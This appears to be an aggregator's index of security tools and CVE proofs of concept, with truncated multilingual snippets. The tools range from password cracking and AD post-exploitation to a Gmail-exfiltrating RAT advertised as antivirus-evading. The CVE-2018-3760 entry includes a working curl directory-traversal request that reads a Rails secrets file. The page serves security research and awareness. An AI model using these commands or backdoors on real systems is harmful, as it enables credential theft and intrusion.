BDFProxy

BDFProxy 새 버전 출시! 스폰서 전용! 여기서 접근: https://github.com/sponsors/secretsquirrel BLOG: http://secureallthethings.blogspot.com/2017/08/closing-door-end-of-backdoor-factory.html The Backdoor Factory Proxy BDFProxy v0.3.8 보안 전문가와 연구자만을 위한 도구입니다. 이제 v.0.17 = MITMPROXY = v.0.11 에서만 동작합니다. Docker:...

Powershell-RAT

Powershell-RAT Gmail을 사용하여 데이터를 이메일 첨부 파일로 유출하는 Python 기반 백도어입니다. 이 RAT는 레드 팀 작전에서 Windows 시스템을 백도어하는 데 도움이 됩니다. 사용자 활동을 화면 캡처로 추적하고 정보를 이메일 첨부 파일로 공격자에게 전송합니다. 참고: 이 코드는 안티바이러스AV 소프트웨어에 완전히 탐지되지 않습니다FUD. 이 프로젝트는 불법적인 목적이나 권한이 없는 시스템 해킹에 사용되어서는 안 되며, 교육 목적과 실험을 위한 용도로만 사용해야 합니다. 이 도구에 대한 제안이나 아이디...

CVE-2023-32117

CVE-2023-32117 Integrate Google Drive ","username":"admin","name":"admin","email":"[email protected]","role":"Administrator","folders":,"id":2,"avatar":"img alt='' src="http:///%5C/%5C/2.gravatar.com%5C/avatar%5C/b58996c504c5638798eb6b511e6f49af?s=32&d=mm&r=g"...

CVE-2018-3760

CVE-2018-3760 Rails Asset Pipeline 디렉터리 트래버설 취약점 발견자: Orange Tsai 참고 : 기본적으로 프로덕션 모드에서 실행 중인 Rails 앱은 이 익스플로잇에 취약하지 않습니다. 익스플로잇: root@kitploit: curl -v http://127.0.0.1:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/config/secrets.yml%3ftype=text/yaml 보안 분...

insmod_block

insmodblock Linux: - - - - - - - 제작: nu11secur1ty: https://github.com/nu11secur1ty/linux-nu11secur1ty Linux: - - - - - - - 제작: nu11secur1ty: https://gitlab.com/nu11secur1ty/linux-nu11secur1ty txt Linux Kernel security modules by nu11secur1ty GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007...

DECAF

DECAF DECAF Dynamic Executable Code Analysis Framework의 약자는 QEMU 기반의 바이너리 분석 플랫폼입니다. DECAF++ DECAF++는 DECAF의 새 버전으로, 테인트 분석 속도가 약 2배 빨라져 현재까지 알려진 가장 빠른 전체 시스템 동적 테인트 분석 프레임워크입니다. 이로 인해 사용성이 크게 향상되어 의심스러운 테인트된 입력이 없을 때 오버헤드가 4% SPEC CPU2006에 불과합니다. 또한, 테인트 분석 작업량이 많은 환경에서도 DECAF++는 탄력성 덕분에 nbench ...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： root@kitploit: $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p...

pack

Password Analysis and Cracking Kit от Peter Kacherginsky iphelix PACK Password Analysis and Cracking Toolkit — это набор утилит, разработанных для анализа списков паролей с целью повышения эффективности их взлома за счёт обнаружения закономерностей в масках, правилах, наборах символов и других...

pack

Password Analysis and Cracking Kit by Peter Kacherginsky iphelix PACK Password Analysis and Cracking Toolkit is a collection of utilities developed to aid in analysis of password lists in order to enhance password cracking through pattern detection of masks, rules, character-sets and other passwo...

FACT_core

펌웨어 분석 및 비교 도구 FACT 목차 FACT가 필요한 이유? 설정 사용법 문서 기여 추가 플러그인 분석 가져오기/내보내기 발표 소셜 감사의 말 라이선스 FACT가 필요한 이유? 펌웨어 분석은 여러 가지 흥미로운 목표를 달성하는 데 사용될 수 있습니다. 그중 가장 중요한 것은 블랙박스 펌웨어의 기능, 구성 요소 및 잠재적인 보안 취약점을 식별하는 것입니다. 펌웨어 분석 및 비교 도구FACT는 수동 펌웨어 분석 작업을 가능한 한 많이 자동화하기 위해 설계되었습니다. FACT는 점점 더 강력해지는 분석 기능을 결합하여 사용자가...

HTTP-Basma

Adaptive Fingerprinting: HTTP-Basma's Multi-Stage Probing for Granular Server Differentiation HTTP-Basma is live at https://httpbasma.netomize.ca/ Introduction In the realm of cybersecurity, accurately identifying and characterizing web servers is crucial for threat detection, vulnerability...

MalwareForge---Advanced-Static-Malware-Analyzer

🛡️ MalwareForge - 高度な静的マルウェアアナライザー MalwareForge は、ファイルを実行せずに悪意のある動作を検出する強力な静的マルウェア解析ツールです。 ✨ 特徴 🦠 挙動分析 : プロセスインジェクション、永続化、ネットワーク、スティーラー、回避 💉 8種類のインジェクション技術 : プロセスハロウイング、APCインジェクション、リフレクティブDLL、など 📦 パッカー検出 : UPX、Themida、VMProtect、ASPack、MPRESS 🔑 ハッシュデータベース : 既知のマルウェアファミリーの検出 🛡️ VirusTotal統合 :...

UAP-protocol

root@kitploit: ██╗ ██╗ █████╗ ██████╗ ██║ ██║██╔══██╗██╔══██╗ ██║ ██║███████║██████╔╝ ██║ ██║██╔══██║██╔═══╝ ╚██████╔╝██║ ██║██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ Universal Agent Protocol 도구 액세스, 에이전트 조정, 구조화된 RPC를 위한 통합 보안 우선 와이어 프로토콜. MCP가 구조적으로 열어 둔 CVE-2025-49596과 도구 중독tool-poisoning 및 샌드박스 탈출 계열 취약점을 해결하기 ...

IBM-Security-Verify-oAuth_Token_Steal-CVE-2024-35133

IBM Security Verify Access - OAuth 흐름 중 오픈 리다이렉트 CVE-2024-35133 목차 1. 개요 2. 상세 설명 3. 개념 증명 4. 해결 방안 5. 공개 타임라인 6. 참조 7. 크레딧 8. 법적 고지 개요 개정 버전 : 1.0 영향 : 원격 공격자는 피해자를 특수하게 제작된 웹사이트를 방문하도록 유도함으로써 이 취약점을 악용하여 표시되는 URL을 스푸핑하고 사용자를 악성 웹사이트로 리다이렉트할 수 있습니다. 이를 통해 공격자는 매우 민감한 정보를 획득하거나 피해자에 대한 추가 공격을 수행할...

StandIn

StandIn StandIn은 작은 AD 사후 침투 툴킷입니다. StandIn은 최근 xforcered에서 리소스 기반 제한 위임resource based constrained delegation을 수행할 .NET 네이티브 솔루션이 필요했기 때문에 탄생했습니다. 그러나 StandIn은 다양한 편의 기능을 포함하도록 빠르게 확장되었습니다. 저는 디렉터리 서비스 프로그래밍에 대해 더 배우고 AD 사후 침투 툴체인에 적합한 도구를 확장하기 위해 StandIn 개발을 계속하고자 합니다. 로드맵 기여하기 기여는 언제나 환영합니다. 풀...

CentralizedFirewall

방화벽 관리자 API 프로젝트 설치 API 프로젝트를 설정하고 실행하려면 다음 단계를 따르세요: 1. 리포지토리 복제 root@kitploit: git clone https://github.com/adriyansyah-mf/CentralizedFirewall cd CentralizedFirewall 2. .env 파일 편집 .env 파일의 환경 변수를 설정에 맞게 업데이트하세요. root@kitploit: nano .env 3. Docker Compose로 API 시작 root@kitploit: docker compose...

DOCxNGINxFX

WORDLISTxGENERATORxFX Версия 1.0 Версия 2.0 WORDLISTxGENERATORxFX переименован в DOCxNGINxFX Версия 3.0 DOCxNGINxFX Я написал этот инструмент, чтобы отдать дань уважения великому и могущественному сообществу open source, которое делится своими знаниями и фреймворками и у которого я так многому...

FOFA-API-Threaded-Searcher

FOFA API 多线程搜索器 一个强大的多线程 Python 工具，用于查询 FOFA Fofa.so API、提取选定字段，并以智能格式保存唯一结果。 ✨ 功能特性 多线程 – 并发获取多个页面（可配置线程数） 自定义字段 – 选择任意有效的 FOFA 字段（ip、port、title、cert.、tls. 等） 智能输出命名 – 根据主要字段自动命名文件（例如 domains.txt、ips.txt） 去重 – 避免跨页面和会话出现重复条目 断点续跑 – 从之前的运行中加载已有结果，跳过已保存的条目 整洁格式化 – 人类可读的输出，带标签，并对长值进行截断 字段校验 –...

CVE-2024-3495-Poc

CVE-2024-3495-Poc CVE-2024-3495 Country State City Dropdown CF7 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/108.0.5359.125 Safari/537.36 Connection: close...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Используйте java.net.InetAddress для обнаружения root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964...